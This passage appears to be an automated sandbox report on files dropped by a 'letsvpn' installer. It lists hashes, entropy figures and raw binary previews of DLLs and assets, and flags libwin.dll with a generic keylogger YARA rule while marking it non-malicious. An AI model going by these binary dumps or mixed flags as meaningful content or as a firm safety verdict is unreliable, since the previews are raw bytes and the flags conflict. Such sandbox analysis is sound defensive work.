                                                                                            SHA-256:DABE14E7ABE508B97134E9850DBBE27A4533A684ACFB891631C197BB9CCD7FAB
                                                                                            SHA-512:F4133F76DE3ECC18AE358DF3D6C434A6C8AB68DDDB684195F543FF18C32582FB8D2DD57167B4E8CCE25A0FDA5C2C3B2D84C2847D769D8FDE5754740FE2182864
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0..$...........C... ...`....... ....................... ......#.....@..................................C..O....`...................+..........hB............................................... ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc..............................@..B.................C......H........N...n..................A......................................f.s....}.....(......}....*v.(.....{.....o.........o....*.0...........{..........(.....{....,..k.(......o....%-.&s.......}......o....}.....{.....o....o......o.....o.....o.....o.....s....}.......,..(.....*.........s|.......0..T.......s....%(....o....o......{.....o.....o....-.r...pr'..ps....z.o....-.re..pr'..ps....z.*J.{....%-.&*.o....*..{....*..0..M........{....-D..}.....{....%-.&+.(....%-.&+.o.....{....%-.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):130536
                                                                                            Entropy (8bit):5.964318353666981
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:s/FN+AQPoaBBzp/1e9YbCW1NtLGi/yOqi1/Xg6iyhUkuIqhk:stuouH/67Xhk
                                                                                            MD5:45732388F391D4D629F5F937F81800E6
                                                                                            SHA1:F499DC39BB22D1EB36428C0804D397807458659E
                                                                                            SHA-256:BE173837D34711ED61EAFEC422463BCD27D7624B21FBA9D41C72738EBF8DC1BE
                                                                                            SHA-512:2BE81D7688C1FB6963AE5DB80144337B90701FF718F4920751A993AB37013B0817C647AF766F852E8FFF549DB540666EA90FC5F8419EBE0632C18C92F6EC012D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... .......................@...........`.................................m...O.......P................+... ..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc....... ......................@..B........................H.......<....8...........................................................0..........s......(9....j........(:...&...(.......0o.........+,.....o ...o!...o"...&...2..r...po"...&...Y...../..0...r...p(#.....(1....r5..po"...&...o$...o"...&...o$...*..........ag.0.....0..j.......~%....rQ..prY..ps&...%.o'...%.o(...%.o)...(*.....o+...o,.......,..o-........r_..p(#....(1...r...p.s....z.*........0..>..........DJ.......0..........s/....(......l...%....%....o0......+r.....(1...-b...l...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\View\Assets\notification_icon.png

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PNG image data, 256 x 256, 8-bit colormap, non-interlaced
                                                                                            Category:dropped
                                                                                            Size (bytes):12243
                                                                                            Entropy (8bit):7.820583648387655
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:WLj1H8FzmdclL4jx3c4yrJuhRof6YQURyMGf0gDSvGrEHsf8Aw47b:QpiYccZrZRof6YQUPPgDSvGr+q8D47b
                                                                                            MD5:AA3CFA4A176584F79EEE7F74032E446F
                                                                                            SHA1:752B97FF9A8D28E92F6FB35EE24FF3DA2E8DEEE5
                                                                                            SHA-256:34A9425F58EDB250E7FBD9217D73A5AD96D1986ACA3520AFE8CADB66E32E3F33
                                                                                            SHA-512:A824DA84DEDAFCDCEACDF9D602B5F89526168E6350E7478D31A5562A8B12D496FB5205B62EDFB2DF1C3896D6B24DA761A1211CF342C1AFF8E6235C4569A54BFF
                                                                                            Malicious:false
                                                                                            Preview:.PNG........IHDR.............k.XT....PLTE....g.H.\...O..E..E.jj..D..E.Q..rb.S...D.tc..H.H.P..ni.T..S...H.Q...F.N..L.N...E.....D.M..Y..yS.uW.O..S..ig.q[..D..H....}P.lc..D.T..bv.en.gk.n_.Q..]...L..D.D.D.D.[...N..D.F.[..cr..D.V...E.D.D.Y...D..D.P.._}..L..D..C..D..D.D.W...D.G.I..D.`z..D..D..E.D.m...D..D..C..G.o...C..N..O.w{.t...[.j..]...R.q..c...U..Q..N..i..Y..`..S..N.zw..n..N.g...N..N.|r..N.N.....V..N..N....^..a..d...N.g......N.N.O..N.M.O.O.d..O.......U...N....z?.LN.n>....O..w..kb...eP.`2.`D.sq..*.....*..7.....W.w^.T=...sJ....f..xj....bk..$.....&.[[..&....g$.....u...m.....B......Vj..8.I....'.mx......1.k..Oy.........j.... .:..Fb..1....\.....@u.. .....H.L...f.-.........I.t".......g..1....G...(.E..........8..w...y....9..I.....i..............k......}...b..E.....tRNS..*-.L...O...QQ..........'^..,iIDATx...MH.A.....].U3.Xw....B.*2..K...A..i.%F...BWA..3.K..H...u.P...C..I..K..<...w....C_........>.../...+**+..v.@m..N.X.XG.qt.i.k+...(jX*Q

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):73192
                                                                                            Entropy (8bit):6.249748321991057
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:oXSaVnItYw1N0tUUTAz/kI5JIol/NkIgJ4WoAwrxm:o5VnqzNaNE4IvIolSIgJjohg
                                                                                            MD5:06FC5706D827C0D089D3C87DF503B557
                                                                                            SHA1:0A14CE3E4FE3BA1064ECF8EBB9A622E6F8DABF98
                                                                                            SHA-256:74F911F6A915C5BB2268EC8F71E06ED6F89178650F4C7C613C779DD99CB719AA
                                                                                            SHA-512:C14E2C487948FCEAB72E17D5A53C6554F402D9494937ACBD1584C35278069193BE8F00D965395CE9B0F2C8F608D39DF641BF86EA5F42033E949395CFA87E4C50
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*FqZ.........." ..0.............V.... ... ....... .......................`............`.....................................O.... ..4................+...@....................................................... ............... ..H............text...\.... ...................... ..`.rsrc...4.... ......................@..@.reloc.......@......................@..B................6.......H.......4k...............................................................{....*"..}....*..{....*"..}....*V.(......(......(....*:.(......(....*..{....*"..}....*Z...o....&.~....o....&*Z...o....&.~....o....&*V..o....&.~....o....&*6.~....o....&*...0...........~....Q..~......s.....8.....P(....,...Q8.....r...po....,..(....-&....o....-..*.....o....( ...o!...8......:o"........?........o#.......(....-...o..........Xo$.......(....-"..r...po....,...o%....1....o$.......(....-1.....o....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):33768
                                                                                            Entropy (8bit):6.4025329384270835
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ap0c3XP4cGqWpMgtZvtxsoOaY2ZXnFq+3xfJBRGCVoCpwKANynsAw/98E9VF3AM8:aqsQtqwMkbvnFqqPgq4Aw/KENAMxJY
                                                                                            MD5:EE295B444AFECBF42526BD136DEE4002
                                                                                            SHA1:E490EC5B8BC823CAF487DC02CA82003964E08276
                                                                                            SHA-256:ED46BDF66B27421E70CDC2D0C334A3F09818173790732061C36C5301C37737AF
                                                                                            SHA-512:7D0E0D5929D38F67C772CC96307DA7E08DC7D09629F2A14354DEA883895515CF2C490A6D8C94E317329FD6173906A4D1B5E981A1AB4656B90578C27168F10577
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......R...........!.....N..........>m... ........... ....................................@..................................l..W....................X...+...........k............................................... ............... ..H............text...DM... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................ m......H......../...;..................P ......................................`.R...~d.5.......eQ..........EG2..D9.p....WPu.s.|nn....1.....F..V7..W.(....od,...........!8....W..ez..e..Q.....h..:`...Qgr.(......}......}......}....*..(......sf...}......s....}.....s~...}....*..{....*..{....*..{....*..(.....-.r...ps....z..}.....s....}....*.0..c........(.....-.r...ps....z.-=r...p.....(....o.........(....o.........(....o....(....s....z..}......}....*2.{....o....*6.{.....o=...*...0..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):53736
                                                                                            Entropy (8bit):6.343120471435367
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:nhDcl7W1UiZTo1ooEqzW3SQwiNsI8l5wwyvUPrYZBkcDfAw/KENAMxbUk:nh8QpZTsooEX3SQwr9y4UZRDfAwrx1
                                                                                            MD5:F0B78CE643F8890B64A36B25D0BE40FD
                                                                                            SHA1:6A61E2C668474CCEC69346A2053D0A02A809EAD5
                                                                                            SHA-256:6682680A9655BD129B62025FA2E3B6C0B158E8B0F0122243DD8154377A43184F
                                                                                            SHA-512:418CD88B99CA3AA49D2CA532FCB2FBF341A94D8FC3935D3D0229761C945F0EE4A287ADDC6D759F78D65C333A58B55102AB43DB4D64F178F192EE2C2E7929BCB2
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5............" ..0.................. ........... ....................................@.................................J...O.......$................+..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{....*..{....*V.(......}......}....*...0..;........u......,/(.....{.....{....o....,.(.....{.....{....o....*.*. ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X*.0...........r...p......%..{.....................-.q.............-.&.+.......o ....%..{.....................-.q.............-.&.+.......o ....(!...*.0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&*...0..A..........(....~.......o"..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32+ executable (DLL) (console) Aarch64, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):126440
                                                                                            Entropy (8bit):6.088128254176655
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:eDdMkQCUK86ryzDWs0MxThVvTe6sWkddGDGEtg3q2LOOCN+HAwrx73:eDdef+yR17exwDGEtg3q2LOdN+HhV
                                                                                            MD5:91864DB7B724160E80E702DF93313006
                                                                                            SHA1:8926004BE47BF37D940C6078B98E546D179C8F59
                                                                                            SHA-256:8DA336ADBFEC70C5565EA72597925C4CC1B4FD254E259E940F5AC43760E15F7E
                                                                                            SHA-512:BE6F53F65F656C1904C07F72F0AADFE9FEE30807C1A7C8F9B5F0EAC8709A350012753B2F0F84F5F1F23525C25447FE725587FCF86EEC153D7EB29FD46A4F1904
                                                                                            Malicious:false
                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................ C....................................... ......S.....`A........................................_.......Q...(...............(........+......|..........................@...(... !..0...................P........................text............................... ..`.rdata...... ......................@..@.data...|...........................@....pdata..(...........................@..@.00cfg..............................@..@.tls................................@....rsrc...............................@..@.reloc..|...........................@..B........................................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.7368967869819905
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:KEZLkwA5qKV3XWe6lWrypwKANynsAw/98E9VF3AM+o/RjPB:PxkwAlagAw/KENAMxprB
                                                                                            MD5:63B58F8B1E0BE713BCFE9DAFC9176CC2
                                                                                            SHA1:B89CDFEA822B0FA430EB876371DE7497D32CF02E
                                                                                            SHA-256:28EC6D09F13B0BC08F60B5CA44589EDD5C8DCA987F0CA8F6ADD37B53FAD4C764
                                                                                            SHA-512:6C961FEED34104A3679980979F1C3DD3ED54939E3F52AD0CD4352FAAE271A5BBCBB9494BE59A30D824783A3EAE5AC07B0097FD1F9E20648AC3350032CE6A3B12
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ..............................=.....@.................................D8..O....@...............$...+...`......(8............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................x8......H.......P ...............%.......7......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.733717681243628
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:LqmGsHW08We6lWwSpwKANynsAw/98E9VF3AM+ooe6fM:LBGsH1xfAw/KENAMxFIM
                                                                                            MD5:35769612C2125805C6C002DB0109F357
                                                                                            SHA1:EDFB7903D5ED6C8DC411F42B9F0144909D6E44A1
                                                                                            SHA-256:74A973702CC39F0320162D3DB2F0E1BB1BF8AA01C301D43C79FD95C91136796E
                                                                                            SHA-512:F5EA44073C2B842713BC19CD8A9A6499F444E25D94E2B6C5E87CAE46D59DC96A0B1611ECC15BC2349044E39B1FCFA46784C55CD2CC08974F4C4254A68F167997
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G),..........." ..0..............9... ...@....... ..............................E~....@..................................9..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..8....9......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.695566503181327
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:R11LpDt4We6lWUXpwKANynsAw/98E9VF3AM+oHoPZ4:TBdiAw/KENAMxx
                                                                                            MD5:9E7010EDC447D4E8D1429BBB34B4A806
                                                                                            SHA1:F863DD49B6FB75F29C0CCE64041177C7185D4B59
                                                                                            SHA-256:EBE39DC3B6E29646EA4D0BD204D9084CE3155D35B798EB3AA1CAFDB18BF4992E
                                                                                            SHA-512:334E43A34D5B5123AB24E26CCBD94421E1F29534D68125F8545EE70ABE28EC2E9461559CF6556578960FBBDC880F7BB1557CB462A24C6A4D0C03AE7026F64F2B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k2............" ..0.............69... ...@....... ..............................Z.....@..................................8..O....@...............$...+...`.......8............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..x...H8......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.739864564293847
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:XsxhehdMDxbFWe6lWYFpwKANynsAw/98E9VF3AM+oM2yA7:8vy+DAUAw/KENAMx8+
                                                                                            MD5:AB8DC70D51CBD593FDEB3072E593A262
                                                                                            SHA1:49332688646ABD689F4451B8E0D864E0E0D7EFD2
                                                                                            SHA-256:E5888ECEBA76225AE16540A762A86872FDF389D0DB59AA223B6B6671CBE10FA2
                                                                                            SHA-512:DDA3F048D9CC5F445B311A3CB725F910DF3B2AD4CAC80818AA0D75EB8D38734892246FA6F84476563B75DF0F28657B41784CBE78FD1BEAF2648D6D0845CD331C
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,E..........." ..0..............9... ...@....... ..............................[.....@.................................`9..O....@...............$...+...`......D9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20456
                                                                                            Entropy (8bit):6.699936777322151
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:D9WLKzFWe6lWo+pwKANynsAw/98E9VF3AM+oWKdprJw:xgKz+LAw/KENAMxrdxW
                                                                                            MD5:C8EDE833D2149C6F3DC4BB5F39FB9E2B
                                                                                            SHA1:BD2BADE2EB45AA6C3DC1B5FB32C81C40FC53579B
                                                                                            SHA-256:45D6B661D5697E90A03BACA66A6BF059A4F90C1D54529236F9ACFACB7C35BA75
                                                                                            SHA-512:79B91099688D6093211A65AA446A2C9FCBC87B8A710FE146D7B5164E179BFEDAE7B9C5607F5C46FD1947988F66733EB0FA1D4C450CAE6EAEBC953B69D4CDCECD
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0..............9... ...@....... ...............................,....@.................................09..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................d9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21480
                                                                                            Entropy (8bit):6.860368489378448
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:wNeZmFLRnyGO00Ik4oF3eUntWe6lWEppwKANynsAw/98E9VF3AM+ocKyWDe:wQZmFLRnyGO00Ik4oF3eUnGEAw/KENAJ
                                                                                            MD5:2510E5DE6A78E23F5E5716A947692FCB
                                                                                            SHA1:C82F7F60598B684D72BB7862EE988E0C8A3E4D60
                                                                                            SHA-256:DC48E81DBD27F031F5D94BD9F52023D93387295CC03F2F4EFFF50B4C2305FAE7
                                                                                            SHA-512:FE1890747348E6B4FEC06090DAFC1093E30F3BB9ECC402E80D6E5C36F99BCB2F1C1913904EE8062C610AB0EFBB92E4E9456BCFCB4822C589B8B6A0E99E61507B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............2=... ...@....... ....................................@..................................<..O....@...............(...+...`.......<............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................=......H.......P ...............%..p...D<......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.868432230037487
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:7QP73AIGoWe6lWiEpwKANynsAw/98E9VF3AM+onVHtH:7K7AIGN/Aw/KENAMxVl
                                                                                            MD5:EFD2B4E0CEFB40944FCF85A8B4F4CAC4
                                                                                            SHA1:D64794EED481D047ADECD3D75A74D312709B0A7A
                                                                                            SHA-256:90EE6104D6F200B830D4B0D2416A769F6E60028A15CFBC0F65DF002FAF22171F
                                                                                            SHA-512:68A0C7AD93155DFB58ECA9234FDEFE0DF3BA5AC109A19C5CF61BF889E77F85B9AF7485835E2E3F5BEDF6411D222512915D8EA970EC1D8390F71D18832BE6CE8B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9..........." ..0.............2;... ...@....... ..............................ER....@..................................:..O....@...............&...+...`.......:............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......P ...............%..p...D:......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):10637288
                                                                                            Entropy (8bit):6.356201019347204
                                                                                            Encrypted:false
                                                                                            SSDEEP:98304:n0te2AQgbNlwrsN3iMkgVJyCCex3Xjl4VsdCm5G2p:0teW5lgbyu5Ty7mDp
                                                                                            MD5:18ACE27FD087E225E3CDAC160EFDAFDD
                                                                                            SHA1:8944171F8BF3B3738E30EA54B6CAC4C18D8488EA
                                                                                            SHA-256:8000D8CD4E6C60B420DA110E8D28D262109BA0C2FDFA620021689A4C3F79B46C
                                                                                            SHA-512:392192A200ED07DF75B3DA5B9FDF2E9EBBFD087D969C5FCBFCAA9B8BEC1F02216323132AF950BAD41D4C351FE4BEEA59AEB6B33EC53342836C84102CE28B748F
                                                                                            Malicious:false
                                                                                            Yara Hits:
                                                                                            • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, Author: Joe Security
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...)..K.. ...:............K...8b...............................6T....@... ......................0..D....@..$....p...............$...+......(E.................................................|A..@............................text.....K.......K.................`..`.data...l.....K.......K.............@....rdata..|PN...O..RN..pO.............@..@.bss.....9..............................edata..D....0.....................@..@.idata..$....@.....................@....CRT....,....P.....................@....tls.........`.....................@....rsrc........p.....................@..@.reloc..(E.......F.................@..B................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.config

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):3607
                                                                                            Entropy (8bit):6.27044188314989
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:l22xKLORF1pb5YrJWox7aI94UnvQdmrZ/xEKxD5q8fANY2Z:l22XFbawo1BvecZ/xXxF3INYY
                                                                                            MD5:28F9077C304D8C626554818A5B5F3B3A
                                                                                            SHA1:A01F735FE348383795D61AADD6AAB0CC3A9DB190
                                                                                            SHA-256:746B5675EA85C21EF4FCC05E072383A7F83C5FE06AAA391FC3046F34B9817C90
                                                                                            SHA-512:485C175BC13C64601B15243DAECBF72621883C2FF294852C9BBB2681937F7EF0BEA65361E0F83131EC989432326442EF387C1CCF2A7CA537C6788B8FD5C0021E
                                                                                            Malicious:false
                                                                                            Preview:.<?xml version="1.0" encoding="utf-8" ?>..<configuration>... Level........ -->... None > Fatal > ERROR > WARN > DEBUG > INFO > ALL-->... .....level.ERROR...cs......log4net.info()..............-->...<log4net>....<logger name="logger">.....<level value="ALL" />.....<appender-ref ref="LogAppender" />....</logger>.... ........-->.... <appender name="LogAppender" type="log4net.Appender.RollingFileAppender">-->....<appender name="LogAppender" type="log4net.Appender.RollingFileAppender">.....<param name="File" value="Log\\" />.....<param name="AppendToFile" value="true" />.....<param name="MaxFileSize" value="10240" />.....<param name="MaxSizeRollBackups" value="100" />.....<param name="StaticLogFileName" value="false" />.....<param name="DatePattern" value="yyyyMMdd&quot;.log&quot;" />.....<param name="RollingStyle" value="Date" />..... ......-->.....<layout type="lo

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):281576
                                                                                            Entropy (8bit):5.699994218705734
                                                                                            Encrypted:false
                                                                                            SSDEEP:3072:4G0WgexKpGi8PnJcerXUaxX3HVeES4BEIqTTpX/4ormGpnaVTSGCkMhkEn7GAhCB:4JrycoB3HVeESME3pnaVTS1nh7hCauhR
                                                                                            MD5:4A8525BF095DDAD4B988A03165584268
                                                                                            SHA1:9DA5E7D7B40AB4FDA89EFCF9A12546D6DE9D40A5
                                                                                            SHA-256:1D721DFDAE218873C411FC939CED1B12486B393A6C810C588342DD008F85FA3F
                                                                                            SHA-512:6D763186C569FAB20BD51AEFC4F1B030EB9953097E7EAC024FEDD0498E45A8C6C6D59AE6729795DBD4E657F3DE9C17675B7F120FBE569F81C65033EC08E7FE53
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p3..........." ..0...... ........... ... ....... .......................`......1|....`.................................h...O.... ............... ...+...@......L................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):1108968
                                                                                            Entropy (8bit):5.831773521730096
                                                                                            Encrypted:false
                                                                                            SSDEEP:24576:t1WtBetKEfrsial0WV1pqfy+Jp15yKn6GyD:StBetKEfrsial0WV7215yKn6G4
                                                                                            MD5:7B43C92114F7B7BB57B5AEB2BC7E9344
                                                                                            SHA1:F36A064C92B1A73048818ED78BD408F441C1BDC5
                                                                                            SHA-256:4A47C46A9ACDBD5A1DB9ECA17F0453710633B9A85748C45FC83F9B3B09E254D0
                                                                                            SHA-512:A9A42A65FF2393313FC6F82B13DB8E859AC4B717B729D561B6AE5AD3E90A732DB565D2C3164381E9B66CF72A26158340C81ED0A290D3CA1FE937E5C27DBF2C16
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&..\...........!......... ......N.... ........@.. ..............................3.....@.....................................W.......0................+..........P................................................ ............... ..H............text...T.... ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
